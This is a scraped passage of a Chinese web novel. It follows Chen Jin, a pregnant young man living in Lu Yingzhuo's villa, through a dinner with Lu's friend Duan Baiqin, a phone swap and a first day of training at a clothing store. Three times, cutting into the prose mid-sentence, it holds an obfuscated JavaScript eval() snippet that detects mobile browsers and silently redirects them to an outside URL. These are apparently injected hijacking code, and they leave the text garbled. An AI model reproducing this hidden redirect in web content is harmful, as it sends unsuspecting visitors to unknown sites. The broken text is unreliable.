陈今一路骑车回了别墅,下车解锁院门。 手还没放上去,没想到,一推就开了,他把电动车开进院子连上充电桩。 “张阿姨!” 他背着包换好鞋子。 有样学样拿着蓝光消毒喷枪,绕着自己浑身扫一圈。 “回来了。” 张阿姨擦着手出来。 见人热得直脱衣,她上前帮他拿外套和包,“先去洗手吧,先生有点事儿耽搁了,马上就回来了。” 陈今做了一下午PPT脑细胞都死光了。 要是他闲着没屁事,还琢磨两下阿姨的意思,此时心里只有好饿好饿。 腿被扒拉两下。 他一看,块头坐着看他半天了。 陈今蹲下来,“好好好,摸摸摸摸一下摸一下!” “呜嗯……” 小狗发出叽里咕噜的舒服声。 “坐好。” 陈今最后顺了一把毛。 他回了自己房间给手机充上电,洗完手将毛衣也脱了,挂起来放在次净区。 热啊。 陈今只穿一件衬衣,靠在窗边扇风。 他把袖子和领口都翻翻好,准备下楼吃饭,就听到块头从未有过的欢快叫声:“汪!嗷呜——” 回来了? 陈今踩着楼梯下去。 视线开阔之后,他微俯身往下望,对上一双陌生的眼。 那人一身全黑。 也是和陆应倬一样老高。 黑高领修身毛衣,黑裤,除了表外圈是一圈银色,背头,发丝如他的眉鼻骨一样硬挺。 他捏住块头扒在他腿上一只爪子。 回看过来。 男人安静时的眼略显凌厉阴鸷,他自然勾起嘴角后,霸气凶狠退去,竟带有一丝阳光朝气,抬腕对他说:“嗨。” 好是贵气。 都这样了,陈今当然也不能不礼貌,他忙点头,“你好。” 他不清楚这人身份,镇定往下走。 不知道说什么的时候—— 陈今最会的,就冲人笑。 他一下来,块头也没过来,唯独围绕在男人身边。 陈今有点暗戳戳的吃醋,发现自己不是被特殊对待的一个,他蹲下来,伸手摸小狗的毛,擅长说话的能力立马回归:“我都不怎么听它叫这么大声。” “小狗好像很喜欢你,怎么做到的?” 他仰着头笑。 十分期待的样子。 “这话应该我问你。”男人双手插进口袋,弯下腰来,盯着他眼睛问:“你是怎么做到……让主人和小狗都这么听话的?” 陈今:“啊?” 陆应倬从门外进来。 看到的就是这样一幅段柏钦逗他的人和小狗的画面。 后面两个还都在地上。 陆应倬一去块头就安静了,他将陈今拉起来,“坐地上干什么?” “我坐……” 陈今当然是直接反驳:“我明明是蹲在地上。” 坐在地上的是块头好吧。 他又不是狗。 陈今懒得和陆应倬争了,他说什么就是什么吧,他饿得不行,“我去帮张阿姨忙。” 说完人就跑了。 陆应倬还说了句慢点儿。 段柏钦看完这一系列操作,忽而笑了下,一手撑在花瓶高柜上,“这要不是我今天来了,还真不知道你这儿藏人了……” “人多大了?” “你问错重点了。” 陆应倬给他扔了条热毛巾。 余光中,是陈今帮张阿姨一起忙前忙后的身影。 “又不稀奇。” 段柏钦一边擦手,眼神揶揄。 “我之前还以为你是Asexuality(无性恋)。” “藏得这么深,嘶……我想起来了,难怪,你当年在天台看我和小学弟接吻看这么久,其实是偷偷在欣赏,是吧?” 陆应倬头也不抬。 “滚。” “凭什么?” 段柏钦将毛巾放回托盘,大大咧咧走向餐桌。 这时候陈今刚好盛饭出来,看到他了,一笑,干脆双手放到他面前,“给你吧。” “坐下吃饭。” 段柏钦温柔对他说。 陈今当然求之不得。 转头之间,陆应倬也在主位坐下来了。 “我叫段柏钦。” 段柏钦主动朝他伸手,看了眼好友,“我俩认识多少年了来着?” 陆应倬:“不认识。” 陈今憋笑,他快速抬起手,两人轻握了一下,一点儿也不露怯,“我叫陈今。” 两人都没主动介绍各自身份。 “汪!” 块头本来在客厅坐着好好的,突然跑了过来。 小家伙钻出一个脑袋,无比亲热蹭段柏钦的腿,他忽视陆应倬的不爽,摸了一把狗头笑看陈今:“知道它为什么黏我么?” 陈今脑子转得很快。 “因为——” “它是你送给陆先生的?” “聪明。” 段柏钦接过张阿姨递过来的新毛巾。 “坐好不动。”陆应倬突然冷不伶仃来了这么一句:“回窝。” 陈今段柏钦一同看过去。 块头尾巴垂了下去。 小家伙再怎么伤心,也服从命令往客厅的狗沙发走,趴下,鼻子露出来点在地上。 怪可怜的。 暖光源映在偌大的客厅落地窗,三人餐桌,看起来气氛很好的样子。 陈今饿死了,只埋头苦吃。 根本不管旁边两个人在说些什么有的没的。 他倒是做到了贵族礼仪,比如食不言,可陆应倬和看起来家世就非常好的段柏钦,完全不走这一套。 两个人关系不错。 至少,有非常多要说的话。 顷刻间。 陈今已经干了两碗饭。 他放慢速度听两人说话,都是些公司项目管理还有决策层面的事情,段柏钦发现之后逗他,“听得懂吗?” 陈今直接摇头。 陆应倬分心出来和他说:“到时间了,张阿姨要带块头出去遛,想去吗?” “去!” 陈今太清闲了。 平时这个时候要不是加班,就是在跑腿路上,在家里待着有种没钱挣难熬的感觉。 陆应倬提醒他:“湖边草地冷,穿好衣服,戴帽子和围巾。” 陈今点头。 放完碗筷出来,他还主动和段柏钦道别,“拜拜!” 段柏钦朝他挥手。 在这儿,陈今上楼不爱坐电梯,就爱自己爬。 他吸引了客厅那边的块头,也跟着走,一人一狗,那背影可亲密欢快了。 “三,二、一——!” 块头先跑上去。 陈今没打算跑,慢悠悠跟在后面笑。 段柏钦如何不能发觉陆应倬在看,等人消失,直白发问:“喜欢?” 陆应倬淡瞥他一眼。 给出一个模棱两可的答案:“他怀孕了。” 段柏钦:“?” 陆应倬也不过多解释:“不信自己去问苏诃。” “不是——” 段柏钦摊开戴表的一只手,被逗笑了,“什么意思?你俩就算上了也不能搞出这东西吧,逗我呢?” 陆应倬转头看他。 段柏钦在他沉稳的眼中,看出一丝诡异的真诚,内心闪过许久不曾出现的脏字,也直接念了出来:“……你他妈认真的?” “四个半月。” 陆应倬把宽口酒杯放他面前,“陪你生日喝酒,司机临时家里出事把我放公司了,何卫澜给我找了个代驾,就他。” 段柏钦:“……” “你俩开灯没?” “他双性人?” 陆应倬一口闷手中酒,长睫掩饰半颗乌棕色瞳仁,“正常男孩。” “……那他还挺厉害。” 段柏钦说了这么一句,喝下自己那杯,心想喝酒误事,随即,他也由心而发露出笑:“喜事儿啊,当爹了兄弟。” 陆应倬竟然说:“谢谢。” 段柏钦心下了然。 然后撑着头问:“告不告诉你家老爷子?” 陆应倬这下没话说,盯着酒杯。 段柏钦笑着拍了下他手,忽而福至心灵,“不说也好。陈今……” “挺好。” “他倒是长了双漂亮眼睛。” 陆应倬握着酒杯的手一滞,眼神流转一瞬,看向多年好友。 “不是吗?” 段柏钦故意问他,挑眉:“这么干净的眼睛,大大亮亮的,睫毛长扑扑的,比女孩子还漂亮,不好看吗?” 陆应倬皱眉。 “你倒是看得很仔细。” 段柏钦:“那没办法啊,我的取向你知道的,多看两眼好看男孩儿这不很正常?” “陈今不一样。” 陆应倬眉头的川字越发紧凑,看向他,又短暂迟疑一下,“他为什么能和你相处这么自然?” “你俩平时什么样子?” 段柏钦手指抬了抬,很有兴趣的样子:“说来我听听。” “和今天差不多。” 陆应倬没话可说。 毕竟,陈今是一个对普通服务生都会露出标准笑容的人,他生了一张好看脸蛋,笑和不笑完全是两种不一样的帅气。 前者具有摄人心魄的魅力。 陈今有时候笑,表达的是友好,这很容易看得出来。 但有些…… 明显是情绪被调动起来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16220159|181484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 比如刚才和段柏钦,陈今主动亲近说话,露出自然姿态。 “我觉得挺好的。” 段柏钦给他倒酒,置之一笑,“我看陈今情绪挺稳定的,虽然看上去守规矩吧,但暗戳戳的小动作很多啊,我还以为你惯的。” 陆应倬说:“没有。” 段柏钦又问:“平时和你生气吗?” 陆应倬听闻稍显迟疑。 脑海里随即闪过一大串陈今炸毛的样子,不少——多数都是在发现怀孕,刚来找他的时候,只能称之为着急。 最近一次…… 昨晚。 他主动摸陈今肚子。 短暂的肢体接触让人有些应激。 陈今并不喜欢他的触碰。 陆应倬盯着酒杯思索,话到嘴边他说:“他有自己的脾气,很有主见。” “这不挺好的。” 段柏钦也很有自知之明,“诶,刚才你可别怪他和我聊得来,我毕竟从小就……嗯,你知道的,一时没收住。” 上位者的善意。 很难有人会拒绝的。 陆应倬想起他的光辉历史。 无端听出一丝其他的意思,语气,无意识沉了半分:“故意的?” “我——” 段柏钦无可辩驳。 他连道三句好,自罚一杯作出保证:“下次在你的人面前,我绝对比任何一个男人都直。” 陆应倬:“完事了就回去。” 段柏钦笑笑,按着他肩膀起身,想摸口袋抽根烟。 结果口袋空空,不知道什么时候不见了,他看了眼陆应倬,后者说:“扔车上了。” 好家伙。 段柏钦一下子明白了。 他也是欠,双手插兜俯身笑:“说好了,一会儿让何卫澜给我送指标书,别反悔啊。” “嗯。” 陆应倬起身往楼上走。 …… 陈今遛完狗,已经是两个小时以后了。 他和张阿姨从湖边草地回来,路上,又遇到了第一次来青徽公馆时的一家三口。 男女主人公推着高级婴儿车,带宝宝散步。 陈今忍不住多看了一眼。 哪知道,只一眼,就狠狠心软了—— 杏色婴儿车内,一只白软的小手晃悠着,抓吧抓吧透明风帘顶的转盘玩具。 陈今交错与那对夫妻走近,看到一个小朋友,总之,小而软,肯定不会走路的月份。 不知道男孩儿女孩儿。 小家伙被爸爸妈妈打扮得漂亮。 浅黄色绒衣,红围巾红色小帽子,雪白粉嫩的脸蛋,一双葡萄大眼睛溜溜转,歪头,啃白嫩拳头啃得正香。 陈今少见这么小的孩子。 那对夫妻发现他的和善目光,看过来。 陈今鼓起勇气问: “好可爱,他/她多大了?” “六个半月。” 小可爱妈妈还把婴儿车稍微转了方向。 陈今看得更清楚了。 眼前那只扑腾的小肉手,看得他心痒痒,但终究没有提过分的要求。 陈今心情不知道为何非常好。 连张阿姨都发现了。 她看陈今蹲在地上给块头解绳子,把它在外面走路的四只爪子擦干净,笑着问:“这么喜欢小孩子的?” 陈今才二十出头。 这个年纪的男孩子喜欢孩子,可不多见。 “还好吧。” 陈今一边擦狗脚一边说:“居然是个小男孩,现在小孩儿真好看,养得漂漂亮亮的,也不哭,我可不喜欢又吵又闹的娃。” “那是哭的时候你不在呀。” 张阿姨过来人了,笑他:“小孩子哪有这么懂事的,都调皮,要不然就是做父母的没关注到位了,真懂事乖乖的那得多可怜的。” 陈今心想也是。 但无果。 他还是喜欢乖的。 陈今放开块头,想着自己隐藏于羽绒服之下的肚子,除了最重要的健康之外…… 长得好看不过分吧? 他和陆应倬都长得还行。 乖一点? 他妈都说他小时候机灵,可讨人喜欢了。 陆应倬的话…… 陈今不确定他“小时候”是什么样。 他坐在沙发上叉开腿,想着想着,头顶传来一句: “陈今。” 陈今立马坐直身子。 抬头一看二楼木质护栏边,老长一条人,他叛逆的一句反问变好听:“怎么了?” “过来我房间。” 陆应倬说完转身就走。 陈今啧了一声,拍着沙发起身,往上走。 块头又跟过来。 陈今反应过来,手指着它蛐蛐,“你爸就是训你训惯了,对谁都一副老子样……” “汪!” 14. 第 14 章 陈今到了主卧门前,主动抬手敲了一下,探进去一个脑袋张望,“找我有事啊?” “坐” 陆应倬坐在窗边沙发,摆弄着手中物什。 他已经洗完澡,身着黑灰条纹家居服,小臂缠绕的半截纱布若隐若现,与其修长指节的搭配莫名和谐。 陈今走过去。 看了眼已然关闭的药箱。 他微微点头,在他对面的躺椅坐下,“你干嘛呢?” “手机给我。” 陆应倬朝他伸手。 陈今以为要安排什么重要东西。 他哦了一声,从口袋摸出刚充满电的机身,递过去,“给。” 陆应倬接走。 陈今看他手中不知从哪儿多了一根取卡针,把他两张电话卡都卸了出来,又摸出一台崭新的手机,数据迁移完成还给他,“之后用这台,烂手机没收了。” “凭什么?” 陈今看他自作主张,仰头怒目而视,伸手,“哪儿烂了,不就是裂了两条缝?我很贵买的,还我!” “你手里现在这台一模一样。” 陆应倬提醒他打开:“不信你自己看。” 陈今才不听他的。 “不看!” 陆应倬又把那台旧手机给他看,“数据全部抹掉了。” “你是不是有病啊!” 陈今破口大骂的下一秒,又急急忙忙去看新手机。 确实是完完全全一样的东西,他点进完软件确认账号,长松一口气。 才上三个月不到的最新款,顶配。 陈今捏着手机要也不是,不要也不是。 可抠门儿的性子由不得他说一句给钱,再加上,这东西他都没要,陆应倬非要硬塞,还要他给钱? 不可能! 半天,陈今皱着眉,心不甘情不愿嘟囔一句:“谢谢啊。” 他继续伸手讨要。 “我的旧手机,给我。” 陆应倬瞧他眼睛盯着自己,一副不拿到誓不罢休的犟模样,还是拿了出来,“早点洗漱睡觉。” 陈今一把抢过。 撒腿就跑。 “我妈都没你管得严,一天天的……” 陈今关门还有点用力。 关完自己都震了一会儿,立马扶着门紧张,俗称又气又怂,“……不会生气吧?” 生气就生气! 谁理他。 陈今哄好自己,又回房间洗澡。 室内温度太舒服了,他吹完头发出来,找了件夏天睡觉穿的背心裤衩,往床上一躺,“哎呀——” 他突然摸了下肚子。 今儿崽子没动。 陈今戳戳摸摸,总觉得有点无聊。 就两下……小东西隔着肚皮有某种动静了,轻轻的,鼓起来一个小拳头,在肚子底下一块皮肤,又胆儿小缩回去了。 小东西。 陈今勾起嘴角。 咚咚! 陈今扯被子遮住小腹,一个翻身坐起来,“进!” 张阿姨带着热牛奶和补剂进来,放他手里,盯着陈今全部进嘴里了,才带上门出去,“早点睡哦,熬夜对身体不好的。” “好。” 陈今点头答应。 阿姨一走,他便捂着胸口有点儿恶心。 鲜牛奶就算了,还是热的,幸好刚才有营养品中和了一下味道。 陈今想趴在床上。 可惜肚子现在鼓起来了,不大,但存在感有点强。 他只好撑头侧躺在床上,又直又白的腿胡乱勾起被子,有一搭没一搭地动,分别看摄影馆和服装店的工作群通知。 不知道是不是换了手机的缘故。 这流畅度! 陈今看一眼房间,“不对,也有可能是他家网速快……” 「@全体成员 」 「明天统一安排如下:」 「1、所有员工早上八点半集合」 「2、抵达后四楼签到,仓储区领取员工服和胸牌,协助货物入场并且熟悉分区位置和服饰位置。」 「3、午饭自行解决。」 「4、下午两点开工,清点分区货物数量并确认上报。」 「5、下班前抽背员工守则内容,不过关者,扣半天时薪。」 秦柯意Kkim:「薪资从明天培训日算起,大家好好努力。」 前场1号:「好耶,收到收到!」 前场5号:「收到。」 收银9号:「收到(敬礼)」 后场13号:「收到(OK)」 群里一共17人。 都是陆陆续续加进来的。 除了秦柯意和任职店长,其余前场导购、后场和收银员工都有专属编号。 前场“3号”陈今卡在第五个回答:「收到!」 后面队形跟上了。 合同上是时薪一百。 陈今扔掉手机,开始掐手算数…… 喔吼! 陈今下床,一屁股到书桌前盘腿坐下,抽出被账本压住的员工守则——早早看完了,此时打开台灯,颇有种他高考时为一道数学中等题埋头苦思的意味。 其实他记性还可以。 已经记得七七八八了,再多看两遍也只能加深犯困。 陈今打起精神又看一眼通知。 他确定好真的有员工制服,想了想,仍然去衣柜前找了第二天要穿的衣服。 不对! 他搬家了,快递地址还没改过。 陈今火速弄好衣服,挂上衣架。 睡之前,他联系商家快递转寄地址,好在对方都很好沟通,主动帮忙联系改地址了。 不错。 不然还得自己多出钱。 陈今凭借记忆,发给了青徽公馆陆应倬别墅的地址号,抬手关灯。 还是一如既往的好睡眠。 醒来之后。 一套行云流水的穿衣护肤。 陈今挎上包。 下楼时,正好碰到张阿姨来送喝的,他双手接过:“……今天是葡萄?” “才七点不到,醒这么早啊。”张阿姨注意到他的衣服,有话就直夸了:“今天打扮这么好看,和朋友去玩儿吗?” “不是的。” 陈今腮帮子鼓鼓摇头,喝完,杯子也空了,“我去上班。” “那老板看着心情都好了。” 张阿姨笑着说。 “是这个意思没错。”陈今点头如捣蒜,竖起大拇指,“您懂得真多。” 陈今吃完早餐就打算出门了。 他换鞋的时候,陆应倬才下楼,一扭头看到他,“要出去?” “我今天培训。” 陈今还顺了个甜滋滋的猕猴桃,举手招呼,“张阿姨,我中午不回来了,晚上要是回来吃给您电话,走了拜拜!” “诶好。” 张阿姨收拾桌子应了句。 陆应倬却走去,拽着包带将人扯了回来,“什么培训?说清楚。” “我不是去服装店应聘了么?” 陈今一把拍开他的手,清脆的一个巴掌,皱着眉说:“哎!别扒拉我。” “位置,上下班和休息时间。” 陆应倬说:“从今天开始,除了我带你出去之外,不许自己在外面吃,阿姨做好了我让人给你送去。” “你——” 陈今刚准备说他独裁。 发现既不用自己出钱还有香喷喷的饭吃,立刻脸色一变:“好的。” 陆应倬单手扯了下他的衣领。 “去吧。” “好的!” 陈今也不计较这啊那啊的了。 溜得那叫一个快。 戴好围巾头盔,他推车打开门。 偌大的落地窗前,陆应倬白衬衣黑西裤插兜站在那儿,怪好看的。 陈今想着他承包自己的午饭。 他放开一只推车的手,举起来,冲他弯了弯眼睛,“拜拜!” 陆应倬没回应他。 陈今也不需要,笑了笑,骑上电动车就开走了。 一路匀速到达停车棚,锁车。 他一边等红灯,掏出兜里纸条多记两眼员工守则,推门入店。 高级纸箱堆得满满当当,干净无尘。 陈今坐电梯去了四楼。 签完到领完员工服和胸牌,有点意思。 他多看两眼设计感极强的胸牌,立体银色的“QIU”logo,圆圆胖胖,长势很好的样子。 数字三。 旁边是镂空设计,里面有他的铭牌。 员工服非常有质感。 从风格上能看出,是QIU设计师的手笔。 两套颜色,白色和灰蓝色,上衣带翻领,正肩收腰,男女统一的黑阔腿长裤。 这一套摸下来。 比在外面自己买衣服的质量和版型还好。 来的同事里已经有人换上了。 陈今记得没有通知。 他不太穿没洗的衣服,走去问在职店长,“店长,今天要换员工服吗?” “Kim没说。” 店长年纪比他们一群人大些,二十九岁,是个一米八五穿灰色厚连帽卫衣,头发偏分的男人,叫方昊,说话蛮温和可亲:“没事儿,你这身蛮好看的,今儿没营业不穿也行。” 陈今还在思考合群问题。 方昊笑着拎起自个儿衣服上的胸牌,“我也没换呢。” “行。” 陈今笑了笑,放心了,也戴上胸牌。 …… 所有人集合完毕。 方昊开始分配楼层和分区。 除了收银的三个,被安排直接去了一楼工位,需要熟悉系统。 其余都在听安排。 “后场换衣区就这样。” “你们可以去各自楼层帮师傅分货了,是这样,每个货架上衣服编号我都贴好了,和衣服挂牌一致,注意整齐度。” “知道了店长。” “去吧。” 方昊在本子上做标记。 剩八个导购,外形一个比一个出挑。 方昊拿着本子和笔走近。 对应的,他把楼层和区域都排好,叫一行人先去往工位。 最后,他合上本子,看着面前最后的三个人。 陈今也在内。 “一号,三号,五号。” 方昊笑了笑,“Kim专门嘱咐过,你们三个负责一楼大厅,之后开业也是,正常来说你们会比剩下的人都要忙,时薪也不太一样,合同上都很清楚了吧?” “完全OK。” 一个动听的女声响起。 陈今脑子里还是员工守则。 等方昊说要自我介绍,他才抬起头看了一眼身边的女孩—— 皮肤雪白,黑长直发。 妆容清透简单,在她明媚立体的五官上修饰得恰到好处,自然宽泛的平行双眼皮,眼睛超级无敌大。 平底鞋,女孩身高大约在一米七。 说是明星也不为过。 陈今冲她点头。 女孩儿也回应他一个大大方方的笑容,主动伸手,“我是一号,我们都是负责大厅的,叫我橘子就好了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16220160|181484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 苏橘。 陈今看到了她的铭牌,笑道:“名字好棒。” “你也是。”苏橘用她好听的声音念了一遍:“陈今,曾今……好特别的名字,好好听,你爸妈也太会取名了。” 陈今不由扬起笑容,“你讲话真好听。” 比起他俩的洽谈。 旁边一个男孩子显然就有些格格不入了。 他已经换好了员工服。 胸牌戴得正正经经,完美下颌线清晰可见,高鼻薄唇,气质清隽干净,好像没有打招呼的意思。 方昊主动Cue流程:“那我们这一趴结束?” “当然要认识一下呀。” 苏橘大大方方走过去,笑着看男生的铭牌,那双大眼睛十分惊喜:“哇,原来你叫李华呀……这么传奇!” 李华本人:“……” 陈今也懂她的意思,笑了。 “我觉得很好。” “正巧我们三个人都是二字名。” 苏橘点点头,“对诶!” 方昊说:“Kim比较有自己的一套规则,她给大家都是按照本名做的铭牌,还有一点,一会儿我也会在群里说——” “员工服之后是一定要每天穿的。” “但是,特别是你们一层前场,可以保留一点个人特色,比如简单的配饰,观感好一点,别搞得太特立独行啊。” 陈今:“啊?” 李华不语。 苏橘倒是有话就说:“自相矛盾了吧?怎么在保留特色的基础上不特立独行呀?” 方昊耸肩:“Kim让你们自己想办法。” “还有最后一条——” “QIU的员工不允许擅自加顾客的微信和联系方式,就算是顾客自发要求,或者抢先预购新品也不行,抓到一次扣时薪二十块,重复叠加,三次以上辞退。” “这么严重?” 苏橘有些奇怪这样的规定,“为什么?” 陈今却不太想知道,“好的。” 李华:“好。” “干活儿去吧。”方昊回到自己的店长工位,手边一大堆文件,看上去比他们没得轻松,“漂亮孩子们努点力啊,明天开业,客人面前保持好状态,多笑笑,被投诉不好看哦。” 听完安排。 几人乘坐电梯下楼。 李华一个人出去就干活儿了。 苏橘看着漂漂亮亮一个精致的女孩子,也不娇气,去收银台那边和同事们笑了一会儿,打了招呼,也去帮忙卸货摆件。 收拾货架并不是费脑子的事儿,陈今做得很快。 全场都是暖气。 忙了一会儿,就出汗了,他把外套围巾脱在一旁,继续埋头干。 陈今干活儿的时间不爱拿手机。 耳边,同一时间传来消息通知声——都是同事手机发出来的,起起落落,不完全准时,他蹲在地上叠衣服。 “陈今!” 苏橘忽然笑着蹲在他身边。 陈今侧头看她,也不由问:“怎么了?” “你没看吗?” 苏橘拿着手机给他展示:“员工福利——下午收拾好货架,存货全系列上新,我们可以优先购入QIU新品,包括限量断货款,三折!” 确实是天大的好消息。 陈今还蛮喜欢这店里的衣服,奈何网上不怎么打折,贵得很。 这下好了。 秦柯意还发了货品截图。 包括具体的楼层和位置,告知不同层的员工方向。 “不好意思我看一下。” 刚好看到需要的,陈今拿人家女孩子手机久了一些,告知一声。 “没关系你看吧。” 苏橘痛快给他,自己继续摆件去了。 也没过几分钟。 苏橘还在楼梯上整理叠衣服,陈今就过来了,顺道给她扶了下楼梯,笑着说:“手机。” “等等我下来。” 苏橘并不好接。 陈今臂力惊人的好,原本晃动的楼梯扶得稳当。 最后一节。 眼看苏橘就要踩空,陈今下意识扶了一把,“小心!” 一个大男人还是很有安全感的。 苏橘平安落地。 她转头正准备道谢,没想到隔得太近,几公分的距离,两个人都无限放大看清对方。 同时愣住。 此时,他们心照不宣。 比起陈今下意识摸头发尴尬,苏橘主动退了一步,认真说:“你长的真好看。” 陈今这话听得不少。 他除了尴尬只剩尴尬了,抓着耳朵,还是把真心话说了:“你也很漂亮。” 这是真心话。 他觉得苏橘和他是一个意思。 “咳——” 两人同时听到有人说话。 陈今和苏橘转身。 秦柯意挎着包包,慢走了过来,若有所思:“看来漂亮孩子放一起,确实有风险。” 陈今皱眉,并不喜欢这种打趣。 “不是啊。” 苏橘哭笑不得。 她灵机一动,走到秦柯意面前拉她手,后者问:“干嘛?” 秦柯意被拉到陈今面前。 苏橘来了一句:“试试就知道了!” 秦柯意看着陈今,后者还没反应过来什么意思,略显安静木讷地回视。 “怎么样?” 苏橘在一旁求认同,“放大是不是很有冲击感!” 秦柯意还在盯着看,“确实。” 陈今:“……” 什么意思啊? 15. 第 15 章 “不允许店内恋爱。” 秦柯意还是一贯想说什么就说,分别看了眼苏橘和陈今,多在后者身上停留几秒,“你不是有对象了么?” 陈今:“……” 忘了这茬。 “你有对象呀?” 苏橘可来了兴致,余光频频瞄向秦柯意,啪啪啪在手机备忘录打了一串字,退后两步举起来——「可、以、八、卦、么!」 陈今扶额。 行,他确实有可以充当“对象”的对象。 他从旁边的衣服分类箱拿出货品,整理好,往货架上摆,“嗯,有了,所以我不会职场恋爱的。” “那很好。” 秦柯意笑笑,踩着高跟鞋视察去了。 陈今埋头干活儿。 当然,他也没有忽视身边努力上班,也“努力”看他的苏橘。 两人共同出力。 十分钟,一个大货架完成。 苏橘那无敌大的眼睛一亮,走来,忍不住开口:“所以——” “下班再说。”陈今立刻打断她,伸出一只手,“我好不容易请到假才来兼职的,要再被Kim姐抓到,势必要扣钱。” “好吧。” 苏橘也是个好沟通的人。 有了固定答案就不强求了,投入未完工作。 工作量不小。 虽说早几天货物就在挂牌标签,整理了一部分。 实际现场还有三分之二没上架,一个上午除了员工之外,秦柯意自己也有帮忙。 所有人满头大汗的时候,外卖员搬着箱子一个个进来。 秦柯意在群里发消息:「@所有人一楼大厅喝东西。」 「喔吼!」 「yeyeyeyeahyeah!」 「Kim姐大气!」 「好爽好爽好爽——」 “你不去吗?” 苏橘热得全身只剩下一件低领修身内搭,她抬手扇风,走过去发现陈今已经完成了整四个货架,“你这也太利索了吧……” “我不去了。” 陈今在楼梯上头也没回。 还分出动作指了指对面,笑道:“看看李华。” “什么?” 他站得高。 苏橘要知道发生了什么,只能走过货架,去看对面,顿时目瞪口呆——李华一个人将对面货架衣物理得整整齐齐,一眼看去强迫症福音,两个多小时干了半天的量。 陈今和苏橘一块儿,工作量也只比人家多一点点而已。 “太卷了……” 苏橘念了一句,转头问:“我去拿咖啡,要不要?” “不用。” 陈今牢记医生说要控糖的嘱咐。 陆应倬没盯着,他为了崽儿也得注意一下,“不用管我,你去吧。” “行,我问问李华。” 苏橘朝对面去了。 陈今将最后一格货架置满,下了楼梯。 他衣服和手机挂在柜子里,需要路过大厅,婉拒一两个给他递咖啡奶茶的同事,弯腰笑,“不用的我戒糖,谢谢——” 拿了手机。 张阿姨果然发来了消息:「小今,去哪儿给你送饭呢?」 陈今噼里啪啦一阵发地址: 「不是很远,您让人到了给我打电话就行。」 张阿姨秒回:「好的好的,我现在给装上,你爱吃米饭我多装一点,今天煮米饭放了玉米碴子,口感香香的,一会儿让司机给你送去。」 陈今觉得暖心,立刻回:「谢谢阿姨~」 这回他将手机揣身上。 一出员工柜区,大家陆陆续续准备出去吃饭,三两成对,苏橘和好几个人在一起,朝他挥手:“去吃饭吗?” 陈今笑着摇头。 “你们去吧。” “那拜拜!” 苏橘明显是交际悍匪。 有男同事过去问她微信,她冲人笑得大大方方:“好呀,你从群里加我好了,一号。” 现在是休息时间。 老板店长都不在了,附近是商圈,基本上大家都选择出去吃。 陈今看到还在货架前忙碌的李华。 他走过去,将下面的柜子全部填满,也将叠好摞起的衣服递给他往上放,“给。” 李华真没发现他。 手顿了一下,才接过去,“谢谢。” 陈今不想给人造成负担,两人没过多交流。 大厅靠墙这边整理的大差不差了,电话来了,他接起,“好,我现在出来。” 陈今走之前看向李华,关心一句:“不去吃饭吗?” 李华摇摇头,“我现在不吃。” 陈今穿好衣服走了。 街人行道对角是一家7-11,他顺利拿到司机送来的饭盒,沉甸甸一大份,“谢谢叔。” “没事没事。” 这儿不能停车太久,司机开走了。 陈今进了便利店,从货架上拿了盒酸奶和一瓶矿泉水,结了账,找了个角落的位置坐下。 张阿姨恨不得给他装满。 饭砖用的是最大号的饭盒装。 装得严严实实,筷子半天戳不到底,沉没半截。 陈今拍了张实况给陆应倬发去,并配字:「?」 陆应倬大忙人,最快回复他消息也是两分钟之后了:「不够明天再加。」 陈今嘴角抽了抽:「我是这个意思吗?」 陆应倬:「好好吃饭。」 陈今才不是想听他的,只是真饿了,扔了手机干饭。 他照例先喝汤垫肚子。 刚才太烫,现在好多了。 陈今也没辜负张阿姨塞得满满的猪肚和山药,不知道怎么弄的,一点儿也不腥。 好好喝~ “叮咚——” 陈今吃正香。 旁边有人隔着座位共用便利店高桌。 他随眼一看,视线就没法收回来了,带着一丝惊讶问:“李华?” 李华撕速食便当的手停下。 也往旁边一看。 陈今看到他简单的午餐,笑着把自己刚买的酸奶递给他,“这个很好喝,试试吗?” 李华发现了他的“豪华大餐”。 什么都没有问,看人手还在空中,还是接下,“谢谢。” 他加热好便当回到桌子。 陈今主动指了指自己身边位置,“一起?” 李华这次没拒绝。 坐下什么也不说,就开始吃自己的。 他没发现爆辣标识,只吃了一口,就去倒水了, 陈今一眼发现,把便当盒子扯到手边,反转筷子,拨了一半还没动的干净米饭给他。 李华一回去。 自己碗里堆起来满满当当,饭菜一起差点装不下。 陈今笑着说:“我阿姨做饭很好吃,开饭馆都行,听说我在这边上班给我弄这么多,真当喂猪,这些还没动过。” 李华缓缓坐下。 陈今面前还有一半多,摊手给他看,“真吃不完。” “谢谢。” 李华也是个坦荡的人。 说完谢也不别扭,该吃就吃,第一口的时候动作还慢了一秒,紧接着也一直吃,“我是来送货的时候Kim姐找我,问我想不想来她店里帮忙,我看薪资那么高,我就答应了。” “这样啊?” 陈今扒了一口饭,“我也是之前兼职的老板介绍过来的。” 他说得自然。 最主要的还是在吃。 李华首先光了碗,把酸奶也开了。 他一口闷,主动收拾自己的碗筷和陈今吐出来的骨头,后者觉得他太客气了,“别别别,我自己来就好了——” “没事。” 李华帮他一块儿丢了。 他也不多留,擦了手说:“我先回店里忙了。” 陈今朝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 